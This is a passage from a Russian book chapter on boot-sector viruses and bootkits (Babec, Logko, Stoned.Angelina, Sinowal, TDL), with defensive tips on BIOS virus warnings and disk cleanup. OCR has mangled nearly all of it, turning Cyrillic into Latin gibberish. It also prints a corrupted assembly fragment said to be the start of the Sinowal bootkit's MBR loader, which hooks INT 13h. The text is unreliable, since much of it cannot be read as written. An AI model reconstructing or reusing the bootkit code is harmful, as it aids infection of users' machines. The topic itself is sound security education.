3anycKaeTca cneima/ibHbiH 32-6htobmh nponecc NTVDM, KOTopbiii m o- 

A e .'iH p y eT  h  K o n T p o / in p y e T  cpeay B b in o jiH e m ia  -  o o p a 6 o T H H K ii n p e p b i-  

B anH H , c/ryjKeoHbie oo;iacTH oriepannonHoH c n cT e M b i h t .  n . B i ia r o A a p a  

aTO M y Biipyc n p o c T o  H e  6vact A o n v m e n  k  c e K T o p a M  am ck3 .

B W indow s 95/98/M E Aejio o6ctoht HecKOJibKO Miiane. Ilo  yMOJina- 
hhk) iicno/ibsyioTCfl coocrmeHHbie 32^pa3pa;nibie npoueaypbi Aocxyna k 

ZIHCK3M. H o ecjin onepaqnoHHaH CHCTeMa o6Hapy>KHBaeT, hto Ha momcht 

3arpy3KH n pepbm aH iie 13h kcm-to hah hom-to nepexBaueno. to cHiiTa- 
eT, hto «3to  HecnpocTa», BKAronaeT A-xa flocTyna k jkcctkomv ahcky (ho  

ne k AiicKeTe!)  TaK Ha3biBae.«biH p e w u M  c o e M e c m u M o c m u  ji Hcnojib3veT 

«nocTopoHHiie>> oopa6oTHHKii KaK «poAHbie». 3thm  o6ecnexiHBaeTca, Ha
npHMep, KoppeKraaa pa6oTa noa W indow s 95/98/M E apaiiBepa Ontrack  
DiskManager, KOTopbiii BCTpaHBaeTca b u en o n K y  o 6p a 6 oTHHxoB npepu- 
BaHHH 13h no BJipycHOMy npH H unny h TpaHc;nipyeT «6ojibiniie» HOMepa 
CeKTOpOB, HH.?IHHAP0B H I'O.'IOBOK COBpeMeHHbIX BIIHHeCTepOB (pa3MepOM 
520 M o  h  6o.fiee) b (jiopMV, noHaTHVio B IO S  cTapbix MaTepimcKiix n/iaT. 
H o jv m  AOCTyna k AiiCKeTaM HHKaiaix «n o 6;ia>KeK» 16-6htobomv pe*HMV  

HHKoraa He aejiaeTca, paooTa hact HCK.iioHHTe.TbHo nepea coocT B enn bie  
32-6iiT0Bbie lipoueAypbi W indows.

M ta k , KJiaccuHecKH HariHcanHwe sarpysoM iibie B upycbi n o /i coB p ew en- 
HbiMH BepciiMMii W indow s He no.iynaT ynpaBJieH Jia bo BpeMa o o p a m e m ia  
k AHCKeTe ii n o  3'roii iipHHime lie  c .\fo ry r  pa3MHO»caTi>cfl.

KoneHHo, BH pvconiicaTe.'iH  ne co im p aio T ca  xaK n p o c T o  ca a B a x b ca . 
HMeoTCSi ( 'h a  noiibiTOK ooecneHHTb x o r a  6 bi nacTHHHoe 4>yHKiyi0H Jip0-
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Baime 3arpv30MHbix BHpycoB b cpe^e W indows. PaccMOTpiiM MexaHH3.\i, 
ncn0Jib30BaHHhiH b BHpyce Babec.

B ochobv 4>yHKUH0Hiip0BaHHH sToro BHpyca nojKmeno to  ooctoh- 
TeJibCTBO, hto onepamioHHaa CHCTeMa ceMencTBa W in d o w s  95/98/M E  
He Bee a n n a p a T H b ie  npepbiBamiH o6c.>iy;KHBaeT 32-6htobwm koaom. Be- 
Pohtho, sto  CBH33HO c TeM, hto 16-6nTOBbiil Koa no CBoeft ripiipozie ro- 
paazio 6 0 n ee  KOMnaKTeH, npocT ii b oojibmiiiicTBe cayHaeis hhckojibko ne 

nponrpbiBaeT 32-6htobomv tcoziy b 6 b ic T p o ; « : i ic T B H n . B o t  h  b W in d o w s  

95/98/M E pa6oxac loiaBMarypoM ocyiuecTBZiaeTCH «rio cxapHHKe». c i i c - 

ii0Jib30BaHHeM BIOS-npepbiBaHHa 16h. 3 to  ziaeT B03M0>KH0CTb BHpycy, 
nepexBaTHBiue.My K / ia B iia T y p n o e  npepbiBaHHe, x o t h  6bi ozuia>Kzibi n o J iy -  

HiiTb ynpaBJieHHe.
H raK, ajiropnTM  pa6oTbi 3arpy30M noro  B iip yca  Babec BbnviH/iHT c.ae- 

ayioinHM o6pa3o\i.

1. CTapxoBaB H3 aapa>Kejinoro MBR, B H p y c  nepexBaTbiBaeT lcM B iia - 

T ypH oe  n pep b iB am ie  16h.
2. r ip n  K a x ^ o M  H aacaTH ii K J iaB H iim  B i ip y c  OTCJieaciiBaeT c o c r o H H iie  

B e ic ro p a  n p ep b iB a H H a  2 l h  h  i ib ir a e T c a  n e p e x B a n iT b  e r o .  ( 3 t o t  BeK - 

T o p  npH H aflJ ie>K iiT  B u p T y a .ib H o ii M au iH H e D O S  h  «/ {p e M J ieT » b  o a c ii-  

a a H H ii 3 a n y c K a  K a K o ro -.n n 6 o  D O S -n p H J io a c e m iH . )

3 . 0 6 p a 6 o T H H K  r iep ex B a ’ie H H o ro  n p ep b iB a H H a  21 h o T cn e jK H B a eT  Bbi- 

3 o b  (^ y u K u m i OEh ( « c M e H a  T e n y m e r o  / i i ic K a » ) .  E c .’ i i i  n e K a a  D O S -  

nporpaMMa nonbrraeTCfl o o p a T H T b c a  k / ih c k v  «A :» h;ih «B:», t o  

H e w e a jie H H o  H a 'in n a e T  B b in o jiH H T b o i B iio z m e  T p a zu fU H o iin a tf n p o -  

u e a y p a  3 a p a *e H H H  h h c k c t w .

Eme oflHHM npHMepoM 3arpy30HHoro BHpyca, cnoco6H oro cymecTBo- 
BaTb b  ycjiOBHax W in d o w s , hbjihctch  pa3pa6oTKa nozi na3 BaHiieM L o g k o .  

3 th m  BHpycoM Hcno.'ib3yeTCH t o  00CT0HTezibCTB0, h to  nepea nepBbiM oo- 

pameHiieM k  aHCKeTe W in d o w s  CHirrbiBaeT c BiiHnecrepa oopaaeu. kozui 

3arpy30HH0ro ceKTopa h aeziaeT 3Ty onepaim io  nepe3 npepbmaHiie 13h. 
IlepexBaTHBniHH VKa3aHHoe npepbiBam ie BHpyc aHa.niisnpyex conepacn- 

Moe Bcex CHUTbiBaeMbix onepaiinoHHoii ciicTeMoii ceKTopoB, h ecjni o6Ha- 

py*H B aeT  b paooHe.w oycjiepe Henxo noxo»cee na Boot-ceKTop, to  aeaaeT  

BbiBo/i, h to  b  Kapwane zihckobozw HMeeTca AiicKeTa, KOTopyio mojkho no- 
nbiTaTbCH 3apa3iiTb.

FaKHM 06pa30.\i, B i ip y c w  Babec ii Logko 6 v z iy T  3apa>KaTb zu icK eT b i 

TOJibKO T e x  n 0 iib30B aTe.? ie ii, K O T op b ie  x o t h  h  n o j ib 3 y io T o i  o n e p a n i io i i -  

iib iM H  CHCTeMa m u W in d o w s  9 5 / 9 8 / M E ,  h o  i ip o z io z m a io T  K o m ip o B a T b . 

yaa .)iH Tb i i  i ie p e iiM e iio B b iB a T b  c b o h  (|>ai;ijib i n e  n p n  n o M o m ii  K p a iiH e  r p o -  

M 0 3 iiK o ro  ii i ie i io B o p o r/ iM B o ro  < < r ip oB o jH H K a > , mo. H a n p iiM ep . cpoA CTB a-
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m h  c T a p o r o  ; io 6 p o r o  ( h  v / io G h o f o ! )  Norton Commander'a. C .n o c o 6 H o c T b  

k  c  a  m o c t  o  h  t  e.n b  h  o  M y 3ap a>K eH n ro a h c k c t  b  c o B p e M e iu ih ix  y c jio B H a x  y  

B i ip y e o B  Babec h  Logko AOBOJibHO M a jia , h o  H e p aB H a i iy jn o !  FIpoHiie 3a- 
rp y 3 0 H H b ie  B H p y cb i / la jfc e  h  s t h m  n o x B a c T a T b c a  H e M ory T .

P a3\ rM e e T c » , « t p k > k h » ,  H c n o jib s o B a iiH b ie  b  s t h x  BHpycax, <<ne c p a 6 o -  

x a io T »  b  o n e p a iu iO H H b ix  c n c T e M a x  ceMeiicTBa Windows NT, h  B H p y c  H e 

CMO>KeT p a 3 M H 0 » c a T b ca . 0 3 H a n a e T  j i h  s t o ,  h t o  s a r p y n o 'n ib ie  B H p y ch i b  h o -  

bo m  BeKe noTepHJm aK TyajibH O C T b i i  C T a jn i 6e3onacHbiMH? HeT n  e m e  pa3 
HeT! E c j i h  n p H  B m n o n e H iiH  K O M n broT ep a  o c i  aBH Tb b  K a p M a n e  an cK O B O /ia  

3ap a>K eH H yio  jiH C KeTy, t o  « C T a p b ie »  3 a r p y 3 0 'iH b ie  B H p y c b i rio -iip e>K H eM y 

c n o c o 6 n b i  3a p a 3 H T b  BH H H ecTep M aiu iiH b i c  j i i o 6 o h  o n e p a m io H H o fl CHCTe- 

m o h , 6 y / ib  t o  MS-DOS, Windows, Linux h j ih  K a K a H -m i6 y /ib  3K30THHe- 
CKasi OS-9000. B o t  n p H M ep  o / n io r o  H3 ^OBOJibHO co B p e\ ieH H b ix  n p e c c -  

pejmaoB:

...O ce H b io  2007 r. n p n in n o  co o6 m e H n e , hto  Aldi, KpynHbiu p m e f i -  

n e p  KOM nbtorepoB b  F epM a H m  u  JHaHuu, n ocra B u n a  okojio  100 t u c . 
H0yr6yK0B M e d io n  c  npeflycraHOBneHHOH W indow s Vista u  a e ticT B y - 
io lu h m  3arpy30HHbiM B u pycoM  13 -neTH efi a a a H o c m ... B u p y c  S ton ed . 

A n ge lin a  3anuctJBaeTCf> b  r/iaBHbifi sarpysovH biu  c e ia o p . .. KoMnaHuu  
nputn/iocb  0T03Barb 3apaxeH H bie H oyrSyxii A/in nepeycraHOBKM c u -  

creM b i...

I l y c T b  3 a rp y 3 0 H H b ifi B H p y c , 3 a p a 3 H B iu iiH  B im n e c T e p  c  co B p eM e H H o ii 

onepauH O H H O H  c h c t c m o h ,  n o 'r e p a e T  c n o c o 6 H o c T b  k  zia /ibH eH u ieM y pa3- 
MH05KeHHK), o h  B e e  paBH O  o c T a i ie T o i  b  3 a r p y 3 0 4 H 0 M  c e ic r o p e  n  6 y z ie T  n pH  

K a ^ flO M  b k ji io m c h h h  n H T a m ia  Ha M rH O B eiu ie  r io jiy n a T b  y n p a B J ie m ie .  E c j ih  

B i ip v c  6 e 3 o 6 im e H , t o  o h  m o jk c t  n p o a a r r b  Ha M auiH H e M H o ro  Jie T  h  «V M e- 

p e T b »  B M e cT e  c  H e ii. E c j n i  a ce  b  e r o  a jiro p H T M e  n p e a v c M o ip e i ia  K aK an - 

H iio y a b  3JioBpe;uiaif « m y T K a » , t o  paHo hjih iio3/iho « 4 a c  '1 »  n a c T y n iiT , h  

n o c jiez icT B H H  6 y ; iy T  h  e  n  p e.a c  k a a v  e  m h m u .

2.4.6. ByTKMTbi
Eme o / ih i i  iuaHC Ha acii3H b  b c p e z ie  Windows a a r p y a o 'iH b ie  B i ip y c b i  n o ji y -  

'iaioT BMeci'e c pa3BimieM <s6ymicumo«» -  TaK nasbiBaioTca Texnojiormi 
Bpe/ioHOCHoro n p o rp a M M H o ro  o 6ecn eM eH H >i, CTapTyiomero KaK 3arpysoM- 
HMH BHpyc, ho 3aTeM BiieapHiomerocfl b KOMnoHeiirbi oiiepauHonnoH ch- 
CTeMbi eme j o  Toro, KaK o H a 3arpy3iuiacb. He'iTo noaooiioe npoaeJibiBajm 

b 1990-x r o f la x  c]}ailrc0B0-3arpy3i>H H £>ie BHpycbi. Ho n e p B a a  «coBpeMen- 
naa>> nporpaxiMa TaKoro K/iacca Sinowal -  nosiBHJiacb b 2007 r. C iiycra  

rpn roaa hx naciHTbiBajiocb y * e  iiecKo.-ibKo /icchtkob.
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«3apoziL.iuiH>> 6 }t k h t o b  n on a aa ioT  Ha KOMnbroTepbi n0Jib30BaTejien He 

ripn  n oM om u  ;ihckct, a BHyrpH noHTOBbix h  ceTeBbix nepBeft, BMecTe c 3a- 

pa^KeiiHbiMH nporpaM M aM H hjih  n o c ;ie  BH3irra Ha <<3aMHJinpoBaHiiyro» 

HHTepneT-CTpaHRHy. M cn o jibaytf T y  hjih  HHyio yfl3BMMOCTb b nporpaM M - 
hom ooecneqeHM M , ohh  n o jiyn a io T  noBbiineHHbie CHCTeMHbie npHBHJierHH 

h BMecTe c hhm h -  B03M0>KH0CTb npH M ofl 3anH cn b ceKTopa BHHMecTepa. 

P e lib o  4 e p n «x ,  vh3Bhm octhx h 3apa»ceHHH n porpaM M  n o fi^ e T  b cooTBeT- 

CTByrom iix r/iaBax nam eH  KH iirn . IToKa ace / locraT oqu o  HMeTb b bh/iv, h to  

Ha Hana.ibHOM 3'rarie cB oe ii p aooxb i 6 \ tk h t  tcm hjih  hh hm  06pa30M  3aMe- 

HaeT opn rm ia ;ibH b iH  3a rp y 34iiK  h  ac/iex nepB oft nepe3arpyr3KH KOMnbio- 

Tepa.

n o  c B o e M y  y cT p oH G T B y h  H a 3 H a 4 e n H to  cT a p T O B b iii 4>parM eH T  t h i i h 4 h o - 

r o  oyT K H T a, p a c n o jio x c e in ib m  b  M B R  B U H H ecTep a h  n o jiy M aio iu H H  y n p a B -  

J ie m ie  n o c j i e  n e p e 3 a r p y 3 K ii ,  i i o 4 t h  h iih c m  H e o x jiiw aeT C M  o t  3 a r p y 3 0 4 H 0 -  

r o  B H p y c a . B o t , H an p H M ep , H a n a jio  K o /ia  oyT K H T a Sinowal.

sov sp,7BFEh 
Dusti ds 
pushed 
c ld
mov ds, bx
mov s i , 0x413 , 0TKycbJB3H;ie . .
Sub word p t r  [ s i ] ,  2 .2048 oafiTOB naMsrn
lodsw
s h l a x ,6
mov es ,ax
mov si,7C 00h
x o r d l . d i

c l i
xo r bx,Dx 
1510V ss, bx
mov [ss :7B F E h ].sp

V C T 3 H 0 B K 8  HOBOfi O G lia C T H . . . 

. nofl CTGK

raov ecx,2S6 K o R H p o e a H M e  c s 6 r b . . .
rep movsw . . . "O T k y c a H H y iO "  n a H R T b  

CMKTMBBHMe 6 "G T K yC -a H H yO " naM G T b.

• • - f le y x  C SK TO pO B , H3MHHd?l 0  { 0 , 0 : 6 1 }

mov a x ,0x202 
mov c l , 61 
mov dx,80h 
mov b x .d i 
int 13H 
x o r ax,bx
mov eax, [ b.» + 13n»4] 
mov [ijx~13h*i],word N9w_l? 
mov [es:Saveli3+3],eax 
mov [bx+13h«4+2],es
p u s h  e s

bush offset; New_Po;;tu - 
re If

’oT.anoeta HDBoro 
. Q D p a 'io T M H K S  n p s p t iB 3 H n f l 13n
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H o H C a a V H , H OBO -TbH O  X a p a K Te p H b IM  O TJIH H H e M  6 y T K H T O B  O T  «K Jia C C H -

H e c K H X »  B H p y c o B  H B Jia e TC H  M TCFine c /[HCKa n e jio H  r p y n n h i  c e K T o p o B . 

B 3 t o m  c'M bicae  Sinowal.a, C H H Tb iB a io m H H  C H a n a a a  T 0a b K 0 a s  a c e K T o 

p a , H B a a e T c a  H C K a io n e H H e M  H 3 np aB H .aa. B n p o n e M , o h  «a o 'ff lT b iB a e -i>  

c b o h  « x b o c t »  c  a H C K a  yace n 0 T 0 M . B n p o rH B o n o a o / K H O C T b  e n y  o y T K H T  

Trup.a x p a H H T  H a  a i ic n e  h  c p a 3 y  cM H TbiB aex  b  n a M H T b  4 0  c e K T o p o B  -  

h t o  o o a e e  x a p a K T e p H O  a a a  s t o h  p a a n o B iia i io c T H  « 3 a p a 3 b i» .  / io B o a b n o  

« n o n y a a p H b i M »  M e c TO M  a  a n  x p a n e im a  « X B O C T a »  H B a a e TC H  n v c T o e ,  h c -  

p a 3 M e H 6 H H o e  n p 0 C T p a H C T B 0 , p a c n o a o a c e H H o e  c p a 3 y  n o c a e  n o c a e a H e r o  

a n c K O B o r o  p a 3 a e a a .

CTapTOBaB, c a 0 BH0 o 6 m h h h h  3arpy30HHbiH BHpyc, 6 v t k h t  h  aaab iue  

BeaeT c e 6 >i a n a a o rn 'iiib iM  06pa30M: « 0TK ycb iB aeT » naMHTb, CHHTbiBaex 

b H ee c aHCKa 0 CTaT0 K cB o ero  K oaa  h  op iin m a ab H b iH  3arpy3HHK, n epexB a- 

TbiBaeT aiicKOBOc npepbraaH H e « I N T  1 3 h » h  n ep eaaeT  ynpaB aeH H e opu - 

raH aabH O M y sarpys 'iH K y. «  K a a ccm ieck p ih »  B iip y c  Ha s to m  3aKaHHHBaeT 

n p o u e a y p y  c b o ch  ycTaHOBKH, a p a 6 oTa n o  ycTaHOBKe 6 yTK iiTa  T0abK 0 em e  

HaniiHaeTCH.
H e  n o  b  t o m , h t o  3Ha>rHTeabHaH n a cT b  n p o n e c c a  3 a rp y3 K H  o n e p a m i-  

O H H oii cH C TeM bi B b ii io a H a e T c a  b  « 1 6 - 6 h t o b o m »  p e * H M e ,  h  n p n  s t o m  

n e o 6 x o a H M b ie  ( f ia i ia o B b ie  K 0 M n 0 H eH T b i CMirrbnsaioTCH b  naM H Tb n p H  n o -  

M o m ii « I N T  1 3 h » .  I I o c K o a b K y  s t o  n p e p b iB a m ie  n ep ex B a n eH O  6yTKH TO M , 

OH H M eeT  B03M0>KH0CTb K O H TpO aiipO B 3Tb npOUeCC 3 a rp y3 K H  o i ie p a n i i -  

o h h o h  CHCTeM U. B T im H 'iH O M  c a y n a e  6 v t k h t  a o * n a a e T c a  CMHTbiBaiiHH 

b  naM H Tb 4>parM eHTOB M o a y a a  « O S L O A D E R .E X E » ,  p a cn o a o > K e H H o ro  

B n v rp H  4 )a fta a  « N T L D R » ,  h  npHM O b  naM H T ii B H a o H 3 M e h h c t h x  c o a e p -  

a a iM o e  TaK , 4 t o 6 l i  o h h  B M ecT o  K 0M n 0 H eH T 0B  O nepanH O H H O H  c h c tc m m  

C M H TblBaail C aH CK a KO M nO H eH Tbl O yTKH Ta. T a K H M  0 6 p a 3 0 M , K MOMeHTV, 

K o ra a  3 a rp y 3 4 H K  O nepanH O H H O H  cncTe.M bi n p iiM e T  p e m e H iie  n e p e iiT H  H3 

«1 6 -6 H T O B o r o »  peacH M a b «3 2 -6 n T O B b ii i »  n a n  «6 4 -6 H T O B h ii i » ,  b naM HTH 

6 y a y T  n a x o a iiT b C H  i i ,  co oTB eT C TB eH H o, n o a y n a T  y n p a B a e H iie  «4 > a a b iiiH - 

B b ie »  K O M iio n e iiT b i O nepanH O H H O H  cu cT eM b i. l I t o  o h h  M o ry T ?  H a n p i-m e p , 

ycTaH O B H Tb  « a H i i iH H e »  n a n  M o a n 4 > H m ip o B a T b  « p o a H b ie »  a p a iiB e p b i o n e -  

panHOHHOH cu cT eM b i. J l io o a a  iip m c ia a n a M  n a n  CHCTCMHaa n p o rp a M M a , 

3 a n y m e H H a a  b TaKOH c h c t c m h o h  c p e a e ,  H e c m o k c t  « y B i ia e T b »  n o c T o p o H -  

n e r o  K o a a  h h  b c b o h x  4 ra iia a x , h h  b c e K T o p a x  C B oero  m -m 'ie c T e p a . 3 t o  ace 

OTHOCHTCH H KO MHOrHM aH TIIB lipVCaM . S tea lth -3 (}>4 >eK T TOpjKeCTBVeT, H e 

TaK  an?
Bnpone.M . ec.au sarpysiiTbCH  c L iv e C D ,  t o  d v t k h t  o y a e T  B iia en  i<ai< iia 

aaaon H .



CcceTbi no 6opb6e c aarpyaoHHbiMM B upyca mu ❖ 85

2.5. CoeeTbi no 6opb6e c 3arpy30HHbiMM 
BiipycaMM

. .M u  npoSoeanu u nemanb, u 6yiccwi, nempmuui, 
u ewfi vm o-m o. H o  n yeepen, unto 3(p(peKmue- 
HeuiuuM cpedcmeoM npornue Hauiux Myx 6buiu 
6bi npocm ue cmomi.

A . h  B . CTpyranKHe, 

«H pe3B U 4aftH oe nponcm ecTB ne»

B a M  M oaceT  n o K a s a T b c a  c ip aH H b iM , h o  a a a c e  b  a n o x y  « p a c u B e T a »  3 a r p y -  

30MHMX B H p y c o B  -  b H a n a jie  9 0 - x  ro z io B  X X  B e K a  -  H e K 0 T 0 p b ie  Cneuna/IHC- 

T b i- B n p y c o / io r n  H e n p H /ia B a jii i  i i m  6 o / ib i i io r o  3H aH eH iia . T a K , H a n p iiM ep , 

3HaM eHHTbIH /J,. H . Jl0 3 H H C K Ilil H a IipOTM>KeHHH pM /ia J ie T  IieO/IHOKpaTHO 

B b ic K a s b iB a ji  M H eH iie, h t o  3 a rp y 3 0 H H b ie  B iip y c b i B b m n p a io T  i i  c K o p o  c o -  

B ce M  H C 'iea n yT . I le p B b ie  B epcH H  e r o  aH T H B H p yca A id s T e s t  fla a ce  h  He n u -  

Ta.'iHCb o6H apv>K H B aTb  3 a r p y 3 0 4 H y io  «3apa3y>>. B  K a n e c T B e  o n p a B a a m ia  

MOaCHO 3aM eTH Tb, MTO CaM JI03H H C KH H  n o  OOJIbUIOMy c n e i y  H e paCCM aT- 

pHBa^i c b o k )  aH T H B H p ycH yio  n p o r p a M M y  K aK K O M M epnecK H H  n p oflV K T , n  

«K O B H p H T b ca »  b  B o o t - c e K T o p a x  eM y  6 b i ;io  n p o cT O  H eM H TepecH O. / {a a c e  

K o r a a  « n o  M H o ro ’n ic jie H iib iM  n p o c b o a M  T p y ,a a m n x c a »  e M y  n p m u .'io c b  

BK JiioH H Tb b  A id s T e s t  n p o q e a y p y  o o H a p y v K e m ifl h  y a a jie H M a  a a r p y s o 'in o i i  

«3 a p a 3 b i» ,  o h  n o n b iT a jic H  m a k c h m a j i b h o  v n p o c T H T b  c e 6 e  a a / ia n y . A id s T e s t  

fla a ce  ca M h ix  n oc jie/ iH H X  B e p c ii i i  ( o t  o c e m i  1 9 9 7  r . )  He y a a j i s u i  B H p y cb i H3 

3 a rp y3 0 M H b ix  c e K T o p o B  a n cK eT , a  B c e ro  .m u ib  H e iiT p a jiH 3 0 B b iB a ;i h x  113- 

M eHeHHeM  n a p b i 6a iiT O B .

JXo J ien em iH :

S ta r t :

jmp V iru s

V iru s :

I l o c j i e  .T e^ e H iw :

S ta r t :
S ta r t

V iru s :

B  pe3\’ .TbTaTe 0CH0BHaa ue.rib OKaawBa./iacb a o c ra rH y T a : /uicKera riepe- 

CTaBa/ia obrrb  «pacca/uuiKOM  H H (J )eKnn ii». H o  nocK o.'iw cy o c h o b h o c  r c . io
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BHpyca ocTaBa.nocb b 3arpy30HH0M  ceK Tope ^ncK eTb i b  H eTpoH yroM  BH/ie, 

/ipyi’He aH TiiBH pycbi no-npeacH eM y npo,aoji;>KajiH pea rapoB aTb  Ha « a -  

pa3y». / la  h HopMajibiian 3 a rp y 3 K a  c Ta K O H  iincKeibj China  neBO3M0>KHa, 

CHCTeMa n p o c T o  3ai{iiK jn iBa/iacb.

Eme oflH a npnMeMareJibHaa H C T o p n a 6bi;ia cBH 33H a c  TeM , h t o  /X H. J I o -  

3 h h c k h h  xp aH H Ji cHrnaiypbi B H p y co B  B H y rp n  T e jia  C B o e ro  aH T H BH pyca 

AidsTest b  H e3aiiiH 4>p 0B aH H 0M  BH/ie. M n a a o  » ;e  6 b u io  TaKOMV cJiyH H Tb- 

CH, HTO BKJIKJHeHHblH B  COC'raB OnepaHHOHHOH CHCTeMbI MS-DOS v5.0 
aH T H B iip y cH b iii n a n e T  MSAV ncnojib30Baji iw a  n o n c K a  H eK O T opbix 3 a -  

rp y 3 0 H H b ix  B i ip y c o B  b  t o h h o c t h  T e ace  n 0 c ;ie ;i0 B a T e Jib H 0 C T H  C H ra a T y p - 

H bix 6aH TO B. HTO H Jl03H H C K H H ! B p e3 y JIb T a T e  OflHH aHTHBHpyC (O T CaMOH 

cjjHpM bi M icrioso ft!) p e r y ji a p n o  o o fia p y jK M B a ji <<3ap a3y» B H y x p ii a p y r o r o  

aH T H BH pyca ( o t  K a K 0 r 0 -T 0  TaM  «H iiKO M y He H 3 B e c r a o r o  p y c c K o r o » ) .  3 t o  

IIOCJiyjKHJIO HCT0HHHK0M MliOrOHHCJieHHblX C/IVXOB O TOM, HTO aBTO pbl 

O TeH ecTBeH H bix aHTHBiipycoB c n e im a jib H O -fle  p a c n p o c T p a n a io T  « 3 a p a 3 y »  

BHVTpH c b o h x  n p o rp a M M . K a K  h h  n p n c K 0 p 6 H 0 , h o  C B iiH ba B c e r a a  h  B e a /ie  

HaXOZIHT rp H 3b , a  CTOpOHHHKH TeopH H  «aH TH BH pyCH H KO B-Bpe^H Te.TeH » 

;n o 6 o r t  3 aoaB H biH  K a 3 y c  TpaK TyiO T b  K a n e cT B e  e e  ( T e o p m i)  a 0Ka3aTe.abc.TBa.

Ho 6o7 iee-M efiee  rpaM O Tiib ifi ( b  KOMnbBxrepHOM c M u c jie )  ne.rioBeK He 

.vioaceT He yziHBHTbor: c KaK oii c T a m  aHTHBHpyc MSAV rib iTaexca HCKaTb 

3arpy.30HHbifi B iip yc  BH\Tpn nporpaM M H bix cjjanjroB, t o  ecTb TaM, oTK yaa 

3TOT BH pyc HHKOr/ia He CMOJKeT CTapTOB3Tb?!

Ho ec jin  n oaxoaH T b  k  onucaHHbiM  HCTOpHHM 6e3 h .s jih iiih hx  sm oiu ih , 

c.neayeT npH 3HaTb, h t o  JJ,. H. J Io 3M hckhh  4 >0 pMajibH0  6 h j i  npaB b cbo- 

eM H e c.m niKOM  cepbe3H0M  oTH om em iH  k  parpy30HiibiM  BHpycaM. /le/io  b 

tom , h to  b  rio/iaB/iH ioiueM  oo/ibiiiHHCTBe c jiyn aeB  npeaoTBpaTHTb 3apaace- 

HHe T an o ro  p o ja  *iiH (f>eKHHeH» ( h  H3;ieHHTbC5i o t  H ee ) jn o o o ii  6 o iie e  h jih  

MeHee rpaM OTHbifi iio .'ibsoBaTejib  c n o c o 6 eH caMOCTOHTe.ibHO 6e3 np iiM e- 

HeHHH aHTlIBHpyCOB.

2.5.1. MeTOAu 3amnTM ahckob ot 3apa*eHii$i
M b i yace 3HaeM, h to  nojaBJiniomee oojibiiiHHCTBO 3arpy30H H bix  B iip y 

coB H cno/iK ivioT  a.Tia HH<|)HnnpoBaiim i B iiHHecTepa cepB iic , n peaocT aB -  

jw eM b iii npoueziypaM H  BIOS. B o t  y x e  M H oro  j ic t  nporpaM M H CTbi 4>npM  

Award, American Megatrends. Phoenix, Ouadtel h a p y r u x  n p o ii3 B o ;m -  

Tejiefi BIOS BKJiionaioT b s t h  n p o n e n v p b i c^parM eiiTbi Ko;ia, k o h tp o jih -  

p y io iu e ro  3 an n cb  b  ciicTeM Hbie o o jiacT ii BiiHHecTepa. E c jih  ycTaHoism rb b 

nojioacemie «O n» ( «B K J iK )H e n o » ) iJumjkok Vinis Protection (h j ih  Virus 
Warning) b  BIOS S e tu p , t o  n p n  n onw T K e n iM en iiT b  coz iepaa iM oe  MBR 
nojib.'iOBarejib o y ae T  npeavnpe>K fleH  o o  otom  h B tisya jibn o . n 3BVKOBbiM



I

cH FH ajioM . r io / ib 3 0 B a T e ;ib  aoJiaceH H aacaT b  Ha KJiaBiimy « Y », ecjni o h  c o -  

n a c e H  c s t h m  H3MeHeHMeM, j i h o o  KJiaBHiuy « N »  b npoTH BH O M  c jiy 'i a e .  

K o h c h h o ,  3T0 He r ia n a n e a .  H a n p H M e p , B i ip y c  Bored y M e eT  « c o r jia m a T b -  

c a » 3 a  n o jib a o B a r e jiM , 3 a p a H e e  n o M e m a a  b 6y4>ep K Jia B H a T y p b i k o r  K JiaBH - 

iiih « Y » .  A  BHpyc Palma5 cnoco6eH n n c a T b  MH4x>pM3imio b CTapTOBbiH 

c e K T o p  BHHHecrepa, o 6p a iu a a c b  k ID E -K O H T p o ju ie p y  b o 6 x o ^  BIOS (Ha 

caMOM R e n e  s t o  H e c jio a c H o ). H o  t 3 k h x  B H p y co B  K paH H e m s jio .  T op aszio  

H enpH H TH ee t o t  c^aicr, m to  peacH M  V i r u s  P r o t e c t i o n  Ha K O M n b io T ep ax  v  

o rp o M H o ro  K o .r a n e c T B a  n o jib 3 0 B a T e jie i i  n p o c r a  o t k jh o h c h .  E m e  a o c a n -  

Hee, m to  b BIOS K0M n bi0T e p 0B 2000-2007 r o a o B  s t o t  peacH M  n acT O  o t -  

cyT C T B O B aJi n o  n p u n m ie  « H e a K T y a /ib H o c r a »  3 a rp y 30M H U X  B H p y c o B  h  B 0 3 -  

p o f l i i J i c a  TOJibKO n o c J ie  n o a B J i e n n a  SyTK H TO B.

/ I p y r o i i  OMCHii/iHbiH, h o  n o n e M y -T O  pe/iK O  H c n o jib 3 y e M b iii  c n o c o 6 n p o -  

T H B o /te ftcx B H a  sa p a a ce H H io  3arp y 30H H biM H  B iip y ca M H  -  m T o p n a  3 a m iiT b i 

o t  3 a ra ic H  Ha a n c K e r a x .  M cn p a B H b ifi K O H T p o ji.iep  a n c K O B o a a  h h  n p n  K 3- 

k h x  o o c T o a r e jib C T B a x  H e n p o n y c T H T  B H p y c  H a saiU H m eH H yro  TaKHM 06- 

p a 3 0 M  « T p e x a K )iiM O B K y » '.

M  H aK O H eu, c a M b iii rjiaB H M H  c n o c o 6 s a m n T b i: n a ; jo  n p o c T o  H e 3 a 6 b i-  

B a T b  BbiH H M aTb /iH CKeTbi H3 K ap M aH a flH CK O Boaa b o  B p e M a  e r o  n e p e s a -  

rpy3Kii h j i h  BKJiioHeHHa miTaHHa KOMnbK)Tepa.
Y b m , o m ica H H b ie  M e T o a b i 6e c c n J ib H b i n p o T H B  6\ t k i i t o b .  Ot h h x  Jiy n u ie  

B c e r o  3 a m n m a T b C H  M eT o jiaM H . paccM O T p eH iib iM H  b  r j i a B e ,  iio c B H m e H n o ii  

CeTeBbIM  II nOMTOBblM MepBHM.

2 .5 .2 . Y fla^eH H e 3arpy30HHbix BHpycoB m 6 yTKHTOB 

«BpyMHyio»
E c j i h  B e e  ace  3a p a a c e H n e  3 arp y 30H H b iM  B H p y co M  c o c T o a ji o c b ,  a  y  B a c  n o a  

P V k o h  H eT aHTHBiipycHoft nporpaMMbi, H e c t o h t  O T H aiiB aT b ca . E c j i h  b m  

onacaeTecb, m to  3 a p a a ceH  BH H M ecTep, 3 a rp y 3 H T e c b  c  « h h c t o h »  a n c ic e -  

t h  h j i h  L i v e C D 2 h  jn i u i b  n cTO M  B o c n o J ib s v i iT e c b  n p o rp a M M a M ii r a n  a 

S y m a n t e c  D is k E d it ,  h j i h  A c r o n is  D is k  E d i t o r .

rTpeacae B c e ro  C K oniipyiixe aarpyaoH U bie ceK Topa ii rio/iospHTCJibHbie 

